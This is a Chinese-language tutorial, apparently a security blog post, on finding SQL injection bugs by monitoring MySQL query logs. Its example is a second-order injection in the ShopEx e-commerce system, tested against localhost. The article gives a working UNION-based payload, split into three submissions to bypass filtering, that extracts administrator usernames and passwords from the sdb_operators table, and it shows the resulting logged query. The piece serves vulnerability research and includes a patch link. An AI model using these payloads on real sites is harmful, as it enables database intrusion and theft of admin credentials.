0x01 注入漏洞簡介
注入漏洞是web應用中最常見的安全漏洞之一，由於一些程序沒有過濾用戶的輸入，***者通過向服務器提交惡意的SQL查詢語句，應用程序接收後錯誤的將***者的輸入作爲原始SQL查詢語句的一部分執行，導致改變了程序原始的SQL查詢邏輯，額外的執行了***者構造的SQL查詢語句，從而導致注入漏洞的產生。
***者通過SQL注入可以從數據庫獲取敏感信息，或者利用數據庫的特性執行添加用戶，導出文件等一系列惡意操作。常見的建站系統出現SQL注入漏洞風險概率是非常高的，而本文就SQL注入漏洞的挖掘方法和大家分享交流，其他web安全漏洞暫不做探討。
0x02 漏洞挖掘思路
我們知道在源碼審計中這樣的SQL注入漏洞很容易被發現，但是對於我們這樣不會代碼審計又想要挖漏洞的小菜來說該怎麼辦？那就要講究方法了，這裏和大家分享下我平時挖掘漏洞的一些思路。
首先一個好的測試環境很重要，這樣我們可以在短時間內準確的找出注入的位置。在挖注入漏洞之前我們開啓MySQL查詢日誌功能，因爲有沒有注入的發生，日誌裏面都可以最直觀的看到。
然後用某個文本查看軟件看日誌文件打開網站程序裏面執行的SQL(我這裏用的是Bare Tail)
接着就是找輸入點了，這個是重點 (這個過程也要仔細觀察mysql查詢日誌)。
有些輸入點信息，程序沒有過濾直接查詢數據庫，就造成了注入，
例如，我GET提交:http://localhost/index2.php?id=1a
在監控的MYSQL日誌中跟隨1a，此處出現id=1a，可以看出該處未作處理，
並且是一個整型變量，且在單引號外面，
那麼我們提交一下URL即可注入，獲取數據任意信息。http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user
實際的提交需要根據數據庫中查詢的語句來構造。
還有一種情況輸入點的信息保存到數據庫中，或者服務器的session中二次讀取時未處理也可導致注入，這種二次注入很多都是不受單引號影響，所以相對來說好利用，危害也是非常大，在mysql日誌中跟隨輸入點的信息，這時一定要仔細調試，一旦出現該信息，我們可以看出是否可利用，根據相關情況構造注入語句。
0x03 Shopex漏洞實例
以shopex漏洞挖掘爲例,shopex爲部分源碼加密,解密較爲繁瑣，涉及文件太多，進行代碼審計需要耗費很多時間，然而利用上面的方法即可輕鬆找出漏洞。
打開網站，登錄後我們隨便來到一個產品頁面，點擊收藏該產品的時候，查看post的信息，其中的75是我們產品的ID，該處也是個輸入點。
我們將其改爲74a在提交一次試試，跟隨SQL日誌，可以看到其執行的語句爲。
可以看到該處是沒有經過過濾的，74a已經成功寫入數據庫了，如果二次取出時也沒有過濾將造成注入，我們再來到會員中心頁面，該處會在正常操作下顯示我們收藏商品。
此時查看數據庫執行日誌發現74a已經出現了，由此可以判斷該處存在二次注入。
由於這裏是組合而成的，我們構造好注入語句然後拆分提交，即可繞過首頁的過濾
http://localhost/index.php?member-SQL-ajaxAddFav.html
我們將上面的SQL替換成以下信息，分三次提交：
0)/**/union/**
**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**
**/from sdb_operatorslimit 1%23
來到會員中心頁面在產品收藏處可以看到管理員信息。
觀察數據庫日誌可以看到此時執行的SQL語句爲
Query SELECT aGoods.*,aGp_w_picpath.thumbnail FROM sdb_goods as aGoods left joinsdb_gp_w_picpaths as aGp_w_picpath on aGoods.p_w_picpath_default=aGp_w_picpath.gp_w_picpath_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10
補丁地址：http://bbs.shopex.cn/read.php?tid-308423.html
0x04 總結
這個半黑盒測試的流程是：
開啓查詢日誌------查找輸入點-------跟隨輸入信息--------是否可利用-------構造注入語句
此過程中的重點就是找輸入點和跟隨輸入信息。
輸入點是我們實施注入的入口點，我們必須有效控制這些才能實現注入，這些輸入點可以包含其中一些：
1）表單提交，主要是POST請求，也包括GET請求。
2）URL參數提交，主要爲GET請求參數。
3）Cookie參數提交。
4）HTTP請求頭部的一些可修改的值，比如Referer、User_Agent等。
5）一些邊緣的輸入點，比如.jpg文件的一些文件信息等。
有些程序採用了一些錯誤處理，就算SQL查詢語句出錯了也是沒有任何報錯的，這個時候我們只能通過監視SQL查詢日誌來判斷了，一旦有注入漏洞的產生這裏將是最先看到。
熟練運用該方法基本可以找到程序中所有的注入漏洞，且不需要太懂代碼，要得只是耐心和細心。